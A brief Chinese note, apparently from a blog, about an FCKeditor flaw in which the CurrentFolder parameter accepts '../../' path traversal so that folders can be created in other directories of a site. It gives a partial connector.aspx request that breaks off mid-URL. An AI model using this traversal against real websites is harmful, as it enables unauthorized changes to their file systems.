2020-02-16 标签:fckeditor,新闻组,程序,漏洞,参数,在网,不同,目录,新建,文件夹,使用,篡改,进入,不同的,browser,default

1 CurrentFolder 参数，可以在网站中不同目录新建文件夹，参数使用 ../../来篡改参数，进入不同的目录 /browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&Cu